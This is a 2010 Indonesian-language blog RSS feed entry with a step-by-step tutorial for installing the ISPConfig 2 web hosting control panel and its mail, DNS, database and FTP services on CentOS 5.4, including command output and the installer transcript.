<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mas Rony's Notes &#187; Linux</title>
	<atom:link href="http://www.masrony.com/category/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.masrony.com</link>
	<description>Restore your brain... !!</description>
	<lastBuildDate>Wed, 10 Mar 2010 14:45:57 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>ISPConfig : Webhosting Control Panel</title>
		<link>http://www.masrony.com/2010/02/ispconfig-webhosting-control-panel-2/</link>
		<comments>http://www.masrony.com/2010/02/ispconfig-webhosting-control-panel-2/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 15:29:58 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Technology]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=349</guid>
		<description><![CDATA[Artikel ini dibuat dengan menggunakan OS Centos 5.4 dengan ISPConfig versi 2.
Sebelumnya mohon maaf, saya tidak banyak menjelaskan masing-masing bagian dari proses instalasi ini seperti pada post entry sebelum-sebelumnya. Jadi hanya point-point yang penting saja yang saya sebutkan. Instalasi ini mencakup keseluruhan dari service-service yang dibutuhkan seperti dibawah ini :
 Instalasi :
- OS : OS Centos [...]]]></description>
			<content:encoded><![CDATA[<p>Artikel ini dibuat dengan menggunakan OS Centos 5.4 dengan ISPConfig versi 2.<br />
Sebelumnya mohon maaf, saya tidak banyak menjelaskan masing-masing bagian dari proses instalasi ini seperti pada post entry sebelum-sebelumnya. Jadi hanya point-point yang penting saja yang saya sebutkan. Instalasi ini mencakup keseluruhan dari service-service yang dibutuhkan seperti dibawah ini :</p>
<li> Instalasi :</li>
<p>- OS : OS Centos 5.4 (disini tidak dibahas mengenai instalasi OS. Instalasi OS yg dibutuhkan standard package no GUI)<br />
- Web Server: Apache/2.2.3 with PHP 5.1.6<br />
- Web statistik : Webalizer V2.01-10<br />
- Database Server: MySQL 5.0.77<br />
- Mail Server: Postfix<br />
- DNS Server: BIND9 (chrooted)<br />
- FTP Server: Proftpd v1.3.2c<br />
- POP3/IMAP server: Dovecot 1.0.7</p>
<li>Setting Network dan hostname :<br />
- firewall dan SELINUX disabled<br />
- FQDN : jempol.wedus.us<br />
- IP Address : 192.168.2.67<br />
- Gateway : 192.168.2.1<br />
- DNS1 : 192.168.10.2<br />
- DNS2 : 192.168.2.67</p>
<p>Notes :<br />
Sayangnya setting network diatas tidak berhasil dilakukan pada saat instalasi karena kernel CentOS belum support on board LAN Card yg saya punya (Attansic L2). So musti sedikit ngoprek terlebih dahulu :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># lspci | grep Ethernet</pre>
<p>02:00.0 Ethernet controller: Attansic Technology Corp. L2 100 Mbit Ethernet Adapter (rev a0)</p>
</div>
<p>Download terlebih dahulu drivernya di <a href="ftp://ftp.hogchain.net/pub/linux/attansic/l2-linux-v1.0.40.4.tar.gz">ftp://ftp.hogchain.net/pub/linux/attansic/l2-linux-v1.0.40.4.tar.gz</a></p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># tar zxvf l2-linux-v1.0.40.4.tar.gz
# cd l2-linux-v1.0.40.4/src
# make &amp;&amp; make install</pre>
</div>
</li>
<li>Setting network file :</li>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># vi /etc/hosts</pre>
<p># Do not remove the following line, or various programs<br />
# that require network functionality will fail.<br />
127.0.0.1		localhost.localdomain localhost<br />
192.168.2.67	jempol.wedus.us jempol</p>
</div>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># vi /etc/resolv.conf</pre>
<p>domain wedus.us<br />
nameserver 192.168.10.2<br />
nameserver 192.168.2.67</p>
</div>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># vi /etc/sysconfig/network</pre>
<p>NETWORKING=yes<br />
NETWORKING_IPV6=no<br />
HOSTNAME=jempol<br />
GATEWAY=192.168.2.1</p>
</div>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># vi /etc/sysconfig/network-scripts/ifcfg-eth0</pre>
<p># Please read /usr/share/doc/initscripts-*/sysconfig.txt<br />
# for the documentation of these parameters.<br />
TYPE=Ethernet<br />
DEVICE=eth0<br />
HWADDR=00:1d:60:27:22:33<br />
BOOTPROTO=none<br />
IPADDR=192.168.2.65<br />
NETMASK=255.255.255.0<br />
NETWORK=192.168.2.0<br />
BROADCAST=192.168.2.255<br />
GATEWAY=192.168.2.1<br />
ONBOOT=yes<br />
USERCTL=no<br />
IPV6INIT=no<br />
PEERDNS=no</p>
</div>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># /etc/init.d/network restart</pre>
<p>Shutting down interface eth0:                              [  OK  ]<br />
Shutting down loopback interface:                          [  OK  ]<br />
Bringing up loopback interface:                            [  OK  ]<br />
Bringing up interface eth0:                                [  OK  ]</p>
</div>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># ifconfig</pre>
<p>eth0      Link encap:Ethernet  HWaddr 00:1D:60:27:22:33<br />
inet addr:192.168.2.65  Bcast:192.168.2.255  Mask:255.255.255.0<br />
inet6 addr: fe80::21d:60ff:fe27:2233/64 Scope:Link<br />
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1<br />
RX packets:118340 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:1921 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:0<br />
RX bytes:13132954 (12.5 MiB)  TX bytes:197344 (192.7 KiB)</p>
<p>lo        Link encap:Local Loopback<br />
inet addr:127.0.0.1  Mask:255.0.0.0<br />
inet6 addr: ::1/128 Scope:Host<br />
UP LOOPBACK RUNNING  MTU:16436  Metric:1<br />
RX packets:955 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:955 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:0<br />
RX bytes:8589855 (8.1 MiB)  TX bytes:8589855 (8.1 MiB)</p>
</div>
<p>Instalasi paket yang dibutuhkan :<br />
Remove paket yang tidak diinginkan (opsional) :</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre># yum remove vsftpd NetworkManager irda isdn pcscd</pre>
</div>
<p>Setting repository ke lokal repo kambing.ui.ac.id (opsional bergantung repo yang biasa anda pakai) :<br />
# mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.asli<br />
# vim /etc/yum.repos.d/kambing.repo</p>
<p># Repository dari server kambing.ui.ac.id<br />
[kambing-base]<br />
name=CentOS.kambing-$releasever &#8211; Base<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/os/$basearch/<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-updates]<br />
name=CentOS.kambing-$releasever &#8211; Updates<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/updates/$basearch/<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-addons]<br />
name=CentOS.kambing-$releasever &#8211; Addons<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/addons/$basearch/<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-extras]<br />
name=CentOS.kambing-$releasever &#8211; Extras<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/extras/$basearch/<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-centosplus]<br />
name=CentOS.kambing-$releasever &#8211; Centosplus<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/centosplus/$basearch/<br />
enable=1<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-contrib]<br />
name=CentOS.kambing-$releasever &#8211; Contrib<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/contrib/$basearch/<br />
enable=1<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>[kambing-fasttrack]<br />
name=CentOS.kambing-$releasever &#8211; Fasttrack<br />
baseurl=http://kambing.ui.ac.id/centos/$releasever/fasttrack/$basearch/<br />
enable=1<br />
gpgkey=http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5</p>
<p>import GPG key untuk authentikasi :<br />
# rpm &#8211;import http://kambing.ui.ac.id/centos/RPM-GPG-KEY-CentOS-5<br />
# yum clean all<br />
# yum makecache<br />
# yum update<br />
# reboot<br />
# uname -a</p>
<p>Linux jempol 2.6.18-164.11.1.el5.centos.plusxen #1 SMP Wed Jan 20 20:14:28 EST 2010 i686 i686 i386 GNU/Linux</p>
<p>Install paket yang diperlukan :</p>
<p># yum install fetchmail wget bzip2 unzip zip nmap openssl lynx fileutils gcc \<br />
gcc-c++ quota bind bind-chroot mysql mysql-devel mysql-server cyrus-sasl cyrus-sasl-devel \<br />
cyrus-sasl-gssapi cyrus-sasl-md5 cyrus-sasl-plain postfix dovecot php php-devel php-gd php-imap \<br />
php-ldap php-mysql php-odbc php-pear php-xml php-xmlrpc curl curl-devel perl-libwww-perl ImageMagick \<br />
libxml2 libxml2-devel httpd-devel ruby ruby-devel mod_python perl-HTML-Parser perl-DBI perl-Net-DNS \<br />
perl-Digest-SHA1 webalizer ntp</p>
<p>Setting quota :<br />
tambahkan usrquota,grpquota dibelakang defaults pada root :<br />
# vi /etc/fstab<br />
/dev/VolGroup00/LogVol00 /                       ext3    defaults,usrquota,grpquota	1 1<br />
LABEL=/boot              /boot                   ext3    defaults			1 2<br />
tmpfs                    /dev/shm                tmpfs   defaults			0 0<br />
devpts                   /dev/pts                devpts  gid=5,mode=620			0 0<br />
sysfs                    /sys                    sysfs   defaults			0 0<br />
proc                     /proc                   proc    defaults			0 0<br />
/dev/VolGroup00/LogVol01 swap                    swap    defaults			0 0</p>
<p># touch /aquota.user /aquota.group<br />
# chmod 600 /aquota.*<br />
# mount -o remount /<br />
# quotacheck -avugm<br />
# quotaon -avug</p>
<p>Setting Chrooted DNS Server (BIND9) :<br />
# chmod 755 /var/named/<br />
# chmod 775 /var/named/chroot/<br />
# chmod 775 /var/named/chroot/var/<br />
# chmod 775 /var/named/chroot/var/named/<br />
# chmod 775 /var/named/chroot/var/run/<br />
# chmod 777 /var/named/chroot/var/run/named/<br />
# cd /var/named/chroot/var/named/<br />
# ln -s ../../ chroot<br />
# cp /usr/share/doc/bind-9.3.6/sample/var/named/named.local /var/named/chroot/var/named/named.local<br />
# cp /usr/share/doc/bind-9.3.6/sample/var/named/named.root /var/named/chroot/var/named/named.root<br />
# touch /var/named/chroot/etc/named.conf<br />
# chkconfig &#8211;levels 235 named on<br />
# /etc/init.d/named start</p>
<p>Setting MySQL Server :<br />
# vi /etc/my.cnf<br />
Hapus tanda # pada bagian skip-networking<br />
# chkconfig &#8211;levels 235 mysqld on<br />
# /etc/init.d/mysqld start<br />
# mysqladmin -u root password rootpasswordmysql<br />
# mysqladmin -h jempol.wedus.us -u root password rootpasswordmysql</p>
<p>Setting SMTP-AUTH dan TLS pada Postfix :<br />
# postconf -e &#8217;smtpd_sasl_local_domain =&#8217;<br />
# postconf -e &#8217;smtpd_sasl_auth_enable = yes&#8217;<br />
# postconf -e &#8217;smtpd_sasl_security_options = noanonymous&#8217;<br />
# postconf -e &#8216;broken_sasl_auth_clients = yes&#8217;<br />
# postconf -e &#8217;smtpd_sasl_authenticated_header = yes&#8217;<br />
# postconf -e &#8217;smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination&#8217;<br />
# postconf -e &#8216;inet_interfaces = all&#8217;<br />
# postconf -e &#8216;mynetworks = 127.0.0.0/8&#8242;<br />
Aktifkan PLAIN dan LOGIN untuk login dengan melakukan editing file :<br />
# vi /usr/lib/sasl2/smtpd.conf</p>
<p>pwcheck_method: saslauthd<br />
mech_list: plain login</p>
<p>Notes : untuk CentOS 64 bit letak file smtpd.conf di /usr/lib64/sasl2/smtpd.conf</p>
<p>Certificate untuk TLS :</p>
<p># mkdir /etc/postfix/ssl<br />
# cd /etc/postfix/ssl/<br />
# openssl genrsa -des3 -rand /etc/hosts -out smtpd.key 1024</p>
<p># chmod 600 smtpd.key<br />
# openssl req -new -key smtpd.key -out smtpd.csr</p>
<p># openssl x509 -req -days 3650 -in smtpd.csr -signkey smtpd.key -out smtpd.crt</p>
<p># openssl rsa -in smtpd.key -out smtpd.key.unencrypted</p>
<p># mv -f smtpd.key.unencrypted smtpd.key<br />
# openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650</p>
<p>Configure Postfix for TLS:</p>
<p># postconf -e &#8217;smtpd_tls_auth_only = no&#8217;<br />
# postconf -e &#8217;smtp_use_tls = yes&#8217;<br />
# postconf -e &#8217;smtpd_use_tls = yes&#8217;<br />
# postconf -e &#8217;smtp_tls_note_starttls_offer = yes&#8217;<br />
# postconf -e &#8217;smtpd_tls_key_file = /etc/postfix/ssl/smtpd.key&#8217;<br />
# postconf -e &#8217;smtpd_tls_cert_file = /etc/postfix/ssl/smtpd.crt&#8217;<br />
# postconf -e &#8217;smtpd_tls_CAfile = /etc/postfix/ssl/cacert.pem&#8217;<br />
# postconf -e &#8217;smtpd_tls_loglevel = 1&#8242;<br />
# postconf -e &#8217;smtpd_tls_received_header = yes&#8217;<br />
# postconf -e &#8217;smtpd_tls_session_cache_timeout = 3600s&#8217;<br />
# postconf -e &#8216;tls_random_source = dev:/dev/urandom&#8217;</p>
<p>Set hostname untuk Postfix :<br />
postconf -e &#8216;myhostname = jempol.wedus.us&#8217;<br />
Konfigurasi Postfix selesai, silahkan cek hasil konfigurasinya :<br />
# cat /etc/postfix/main.cf (comments sudah dihilangkan)</p>
<p>queue_directory = /var/spool/postfix<br />
command_directory = /usr/sbin<br />
daemon_directory = /usr/libexec/postfix<br />
mail_owner = postfix<br />
inet_interfaces = all<br />
mydestination = $myhostname, localhost.$mydomain, localhost<br />
unknown_local_recipient_reject_code = 550<br />
alias_maps = hash:/etc/aliases<br />
alias_database = hash:/etc/aliases<br />
debug_peer_level = 2<br />
debugger_command =<br />
PATH=/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin<br />
xxgdb $daemon_directory/$process_name $process_id &amp; sleep 5</p>
<p>sendmail_path = /usr/sbin/sendmail.postfix<br />
newaliases_path = /usr/bin/newaliases.postfix<br />
mailq_path = /usr/bin/mailq.postfix<br />
setgid_group = postdrop<br />
html_directory = no<br />
manpage_directory = /usr/share/man<br />
sample_directory = /usr/share/doc/postfix-2.3.3/samples<br />
readme_directory = /usr/share/doc/postfix-2.3.3/README_FILES<br />
smtpd_sasl_local_domain =<br />
smtpd_sasl_auth_enable = yes<br />
smtpd_sasl_security_options = noanonymous<br />
broken_sasl_auth_clients = yes<br />
smtpd_sasl_authenticated_header = yes<br />
smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination<br />
mynetworks = 127.0.0.0/8<br />
smtpd_tls_auth_only = no<br />
smtp_use_tls = yes<br />
smtpd_use_tls = yes<br />
smtp_tls_note_starttls_offer = yes<br />
smtpd_tls_key_file = /etc/postfix/ssl/smtpd.key<br />
smtpd_tls_cert_file = /etc/postfix/ssl/smtpd.crt<br />
smtpd_tls_CAfile = /etc/postfix/ssl/cacert.pem<br />
smtpd_tls_loglevel = 1<br />
smtpd_tls_received_header = yes<br />
smtpd_tls_session_cache_timeout = 3600s<br />
tls_random_source = dev:/dev/urandom<br />
myhostname = jempol.wedus.us</p>
<p>Aktivasi protokol imap, imaps, pop3, dan pop3s pada Dovecot :<br />
# vi /etc/dovecot.conf</p>
<p># Protocols we want to be serving: imap imaps pop3 pop3s<br />
# If you only want to use dovecot-auth, you can set this to &#8220;none&#8221;.<br />
protocols = imap imaps pop3 pop3s</p>
<p>Start on boot Postfix, saslauthd, Dovecot dan disable sendmail :</p>
<p># chkconfig &#8211;levels 235 sendmail off<br />
# chkconfig &#8211;levels 235 postfix on<br />
# chkconfig &#8211;levels 235 saslauthd on<br />
# chkconfig &#8211;levels 235 dovecot on<br />
# /etc/init.d/sendmail stop<br />
# /etc/init.d/postfix start<br />
# /etc/init.d/saslauthd start<br />
# /etc/init.d/dovecot start</p>
<p>##############<br />
To see if SMTP-AUTH and TLS work properly now run the following command:</p>
<p>telnet localhost 25</p>
<p>After you have established the connection to your Postfix mail server type</p>
<p>ehlo localhost</p>
<p>If you see the lines</p>
<p>250-STARTTLS</p>
<p>and</p>
<p>250-AUTH LOGIN PLAIN</p>
<p>everything is fine.</p>
<p>[root@server1 ssl]# telnet localhost 25<br />
Trying 127.0.0.1&#8230;<br />
Connected to localhost.localdomain (127.0.0.1).<br />
Escape character is &#8216;^]&#8217;.<br />
220 server1.example.com ESMTP Postfix<br />
ehlo localhost<br />
250-server1.example.com<br />
250-PIPELINING<br />
250-SIZE 10240000<br />
250-VRFY<br />
250-ETRN<br />
250-STARTTLS<br />
250-AUTH LOGIN PLAIN<br />
250-AUTH=LOGIN PLAIN<br />
250-ENHANCEDSTATUSCODES<br />
250-8BITMIME<br />
250 DSN<br />
quit<br />
221 2.0.0 Bye<br />
Connection closed by foreign host.<br />
[root@server1 ssl]#</p>
<p>Type</p>
<p>quit</p>
<p>Setting Maildir Dovecot<br />
Format Dovecot tidak menggunakan mbox tetapi menggunakan Maildir, aktifkan Maildir ini dari menu ISPConfig di Management -&gt; Server -&gt; Settings -&gt; Email.</p>
<p>postconf -e &#8216;home_mailbox = Maildir/&#8217;<br />
postconf -e &#8216;mailbox_command =&#8217;<br />
/etc/init.d/postfix restart</p>
<p>Setting Apache Webserver :<br />
# vi /etc/httpd/conf/httpd.conf</p>
<p>DirectoryIndex index.html index.htm index.shtml index.cgi index.php index.php3 index.pl</p>
<p>Instalasi ISPCpnfig :<br />
Download ISPConfig2 terlebih dahulu di sini<br />
# tar zxvf ISPConfig.tar.gz<br />
# cd ISPConfig<br />
# ./setup</p>
<p>CentOS 5.4<br />
Neuinstallation eines ISPConfig-Systems. / Installation of a new ISPConfig system. / Installation d&#8217;ISPConfig sur un nouveau syst�me.<br />
W�hlen Sie Ihre Sprache (deutsch/englisch/spanisch/franz�sisch/italienisch/niederl�ndisch/polnisch/schwedisch): / Please choose your language (German/English/Spanish/French/Italian/Dutch/Polish/Swedish):  / Merci de choisir votre langue (Allemand/Anglais/Espagnol/Fran�ais/Italien/N�erlandais/Polonais/Su�dois):<br />
1) de<br />
2) en<br />
3) es<br />
4) fr<br />
5) it<br />
6) nl<br />
7) pl<br />
 <img src='http://www.masrony.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> se<br />
Ihre Wahl: / Your Choice: / Votre Choix:2<br />
With the system installation, some system files are replaced where adjustments were made. This can lead to loss of entries in httpd.conf, named.conf as well as in the Sendmail configuration.</p>
<p>Do you want to continue with the installation? [y/n]y<br />
Please read through the licence carefully:</p>
<p>Copyright (c) 2005, projektfarm GmbH, Till Brehm, Falko Timme<br />
All rights reserved.</p>
<p>Redistribution and use in source and binary forms, with or without modification,<br />
are permitted provided that the following conditions are met:</p>
<p>* Redistributions of source code must retain the above copyright notice,<br />
this list of conditions and the following disclaimer.<br />
* Redistributions in binary form must reproduce the above copyright notice,<br />
this list of conditions and the following disclaimer in the documentation<br />
and/or other materials provided with the distribution.<br />
* Neither the name of ISPConfig nor the names of its contributors<br />
may be used to endorse or promote products derived from this software without<br />
specific prior written permission.</p>
<p>THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &#8220;AS IS&#8221; AND<br />
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED<br />
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.<br />
IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,<br />
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,<br />
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,<br />
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY<br />
OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING<br />
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,<br />
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</p>
<p>Do you accept the licence? [y/n]y</p>
<p>Please select the installation mode. In expert mode you have to answer some additional questions. In standard mode standard values are assumed for these questions.<br />
1) standard<br />
2) expert<br />
Your Choice: 1</p>
<p>########## MAIL SERVER ##########</p>
<p>Checking for MTA&#8230;<br />
/usr/sbin/postfix<br />
OK</p>
<p>ISPConfig found the following MTA:<br />
postfix<br />
Is this correct? [y/n]y</p>
<p>########## FTP SERVER ##########</p>
<p>Checking if an FTP server is installed&#8230;<br />
/usr/sbin/proftpd<br />
OK</p>
<p>ISPConfig found the following FTP server:<br />
proftpd<br />
Is this correct? [y/n]y</p>
<p>########## PROCMAIL ##########</p>
<p>Checking for package procmail&#8230;<br />
/usr/bin/procmail<br />
OK</p>
<p>########## QUOTA ##########</p>
<p>Checking for package quota&#8230;<br />
/usr/bin/quota<br />
OK</p>
<p>########## MYSQL SERVER ##########</p>
<p>Checking for package MySQL&#8230;<br />
/usr/bin/mysql<br />
OK</p>
<p>########## OPENSSL ##########</p>
<p>Checking for package openssl&#8230;<br />
/usr/bin/openssl<br />
OK</p>
<p>########## DNS SERVER ##########</p>
<p>Checking for package bind&#8230;<br />
/usr/sbin/named<br />
OK</p>
<p>########## IPTABLES/IPCHAINS/IPFW ##########</p>
<p>Checking for program iptables/ipchains/ipfw&#8230;<br />
/sbin/iptables<br />
OK</p>
<p>########## WEB SERVER ##########</p>
<p>Checking for program httpd&#8230;<br />
/usr/sbin/httpd<br />
OK<br />
Checking the syntax of the httpd.conf&#8230;<br />
Syntax OK<br />
The syntax is ok!</p>
<p>########## gcc ##########</p>
<p>/usr/bin/gcc<br />
OK</p>
<p>########## make ##########</p>
<p>/usr/bin/make<br />
OK</p>
<p>########## lex ##########</p>
<p>/usr/bin/lex<br />
OK</p>
<p>########## g++ ##########</p>
<p>/usr/bin/g++<br />
OK</p>
<p>########## INSTALLATION ##########</p>
<p>proses instalasi&#8230;&#8230;&#8230;.<br />
&#8212;&#8212;&#8212;&#8212;<br />
Generating custom certificate signed by own CA [CUSTOM]<br />
______________________________________________________________________</p>
<p>STEP 0: Decide the signature algorithm used for certificates<br />
The generated X.509 certificates can contain either<br />
RSA or DSA based ingredients. Select the one you want to use.<br />
Signature Algorithm ((R)SA or (D)SA) [R]:R<br />
______________________________________________________________________</p>
<p>STEP 1: Generating RSA private key for CA (1024 bit) [ca.key]<br />
178805 semi-random bytes loaded<br />
Generating RSA private key, 1024 bit long modulus<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.++++++<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.++++++<br />
e is 65537 (0&#215;10001)<br />
______________________________________________________________________</p>
<p>STEP 2: Generating X.509 certificate signing request for CA [ca.csr]<br />
You are about to be asked to enter information that will be incorporated<br />
into your certificate request.<br />
What you are about to enter is what is called a Distinguished Name or a DN.<br />
There are quite a few fields but you can leave some blank<br />
For some fields there will be a default value,<br />
If you enter &#8216;.&#8217;, the field will be left blank.<br />
&#8212;&#8211;<br />
1. Country Name             (2 letter code) [XY]:ID<br />
2. State or Province Name   (full name)     [Snake Desert]:East Java<br />
3. Locality Name            (eg, city)      [Snake Town]:Malang<br />
4. Organization Name        (eg, company)   [Snake Oil, Ltd]:PT. Wedus Gembel<br />
5. Organizational Unit Name (eg, section)   [Certificate Authority]:Wedus Team<br />
6. Common Name              (eg, CA name)   [Snake Oil CA]:Wedus CA<br />
7. Email Address            (eg, name@FQDN) [ca@snakeoil.dom]:ca@wedus.us<br />
8. Certificate Validity     (days)          [365]:365<br />
______________________________________________________________________</p>
<p>STEP 3: Generating X.509 certificate for CA signed by itself [ca.crt]<br />
Certificate Version (1 or 3) [3]:3<br />
Signature ok<br />
subject=/C=ID/ST=East Java/L=Malang/O=PT. Wedus Gembel/OU=Wedus Team/CN=Wedus CA/emailAddress=ca@wedus.us<br />
Getting Private key<br />
Verify: matching certificate &amp; key modulus<br />
Verify: matching certificate signature<br />
../conf/ssl.crt/ca.crt: /C=ID/ST=East Java/L=Malang/O=PT. Wedus Gembel/OU=Wedus Team/CN=Wedus CA/emailAddress=ca@wedus.us<br />
error 18 at 0 depth lookup:self signed certificate<br />
OK<br />
______________________________________________________________________</p>
<p>STEP 4: Generating RSA private key for SERVER (1024 bit) [server.key]<br />
178947 semi-random bytes loaded<br />
Generating RSA private key, 1024 bit long modulus<br />
&#8230;&#8230;&#8230;++++++<br />
&#8230;&#8230;&#8230;&#8230;&#8230;++++++<br />
e is 65537 (0&#215;10001)<br />
______________________________________________________________________</p>
<p>STEP 5: Generating X.509 certificate signing request for SERVER [server.csr]<br />
You are about to be asked to enter information that will be incorporated<br />
into your certificate request.<br />
What you are about to enter is what is called a Distinguished Name or a DN.<br />
There are quite a few fields but you can leave some blank<br />
For some fields there will be a default value,<br />
If you enter &#8216;.&#8217;, the field will be left blank.<br />
&#8212;&#8211;<br />
1. Country Name             (2 letter code) [XY]:ID<br />
2. State or Province Name   (full name)     [Snake Desert]:East Java<br />
3. Locality Name            (eg, city)      [Snake Town]:Malang<br />
4. Organization Name        (eg, company)   [Snake Oil, Ltd]:PT. Wedus Gembel<br />
5. Organizational Unit Name (eg, section)   [Webserver Team]:Wedus Team<br />
6. Common Name              (eg, FQDN)      [www.snakeoil.dom]:www.wedus.us<br />
7. Email Address            (eg, name@fqdn) [www@snakeoil.dom]:info@wedus.us<br />
8. Certificate Validity     (days)          [365]:365<br />
______________________________________________________________________</p>
<p>STEP 6: Generating X.509 certificate signed by own CA [server.crt]<br />
Certificate Version (1 or 3) [3]:3<br />
Signature ok<br />
subject=/C=ID/ST=East Java/L=Malang/O=PT. Wedus Gembel/OU=Wedus Team/CN=www.wedus.us/emailAddress=info@wedus.us<br />
Getting CA Private Key<br />
Verify: matching certificate &amp; key modulus<br />
Verify: matching certificate signature<br />
../conf/ssl.crt/server.crt: OK<br />
______________________________________________________________________</p>
<p>STEP 7: Enrypting RSA private key of CA with a pass phrase for security [ca.key]<br />
The contents of the ca.key file (the generated private key) has to be<br />
kept secret. So we strongly recommend you to encrypt the server.key file<br />
with a Triple-DES cipher and a Pass Phrase.<br />
Encrypt the private key now? [Y/n]: y<br />
writing RSA key<br />
Enter PEM pass phrase:<br />
Verifying &#8211; Enter PEM pass phrase:<br />
Fine, you&#8217;re using an encrypted private key.<br />
_______________________________________________________________________</p>
<p>STEP 8: Enrypting RSA private key of SERVER with a pass phrase for security [server.key]<br />
The contents of the server.key file (the generated private key) has to be<br />
kept secret. So we strongly recommend you to encrypt the server.key file<br />
with a Triple-DES cipher and a Pass Phrase.<br />
Encrypt the private key now? [Y/n]: y<br />
writing RSA key<br />
Enter PEM pass phrase:<br />
Verifying &#8211; Enter PEM pass phrase:</p>
<p>&#8212;&#8212;&#8212;&#8212;<br />
Connected successfully to MySQL server<br />
no crontab for root<br />
Restarting some services&#8230;<br />
Shutting down postfix:                                     [  OK  ]<br />
Starting postfix:                                          [  OK  ]<br />
Shutting down proftpd:                                     [  OK  ]<br />
Starting proftpd:                                          [  OK  ]<br />
Starting ISPConfig system&#8230;<br />
Apache/1.3.41 mod_ssl/2.8.31 (Pass Phrase Dialog)<br />
Some of your private key files are encrypted for security reasons.<br />
In order to read them you have to provide us with the pass phrases.</p>
<p>Server jempol.wedus.us:81 (RSA)<br />
Enter pass phrase:</p>
<p>Ok: Pass Phrase Dialog successful.<br />
/root/ispconfig/httpd/bin/apachectl startssl: httpd started<br />
ISPConfig system is now up and running!<br />
Congratulations! Your ISPConfig system is now installed. If you had to install quota, please take the steps described in the installation manual. Otherwise your system is now available without reboot.<br />
Please direct your browser to</p>
<p>https://jempol.wedus.us:81</p>
<p>and log in:<br />
Username: admin<br />
Password: admin</p>
<p>[root@jempol install_ispconfig]#</p>
<p>Reference : http://www.howtoforge.org</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2010/02/ispconfig-webhosting-control-panel-2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Install DataBase PostgreSQL 8.4 di Ubuntu 9.10</title>
		<link>http://www.masrony.com/2009/11/install-database-postgresql-8-4-di-ubuntu-9-10/</link>
		<comments>http://www.masrony.com/2009/11/install-database-postgresql-8-4-di-ubuntu-9-10/#comments</comments>
		<pubDate>Sat, 21 Nov 2009 20:51:48 +0000</pubDate>
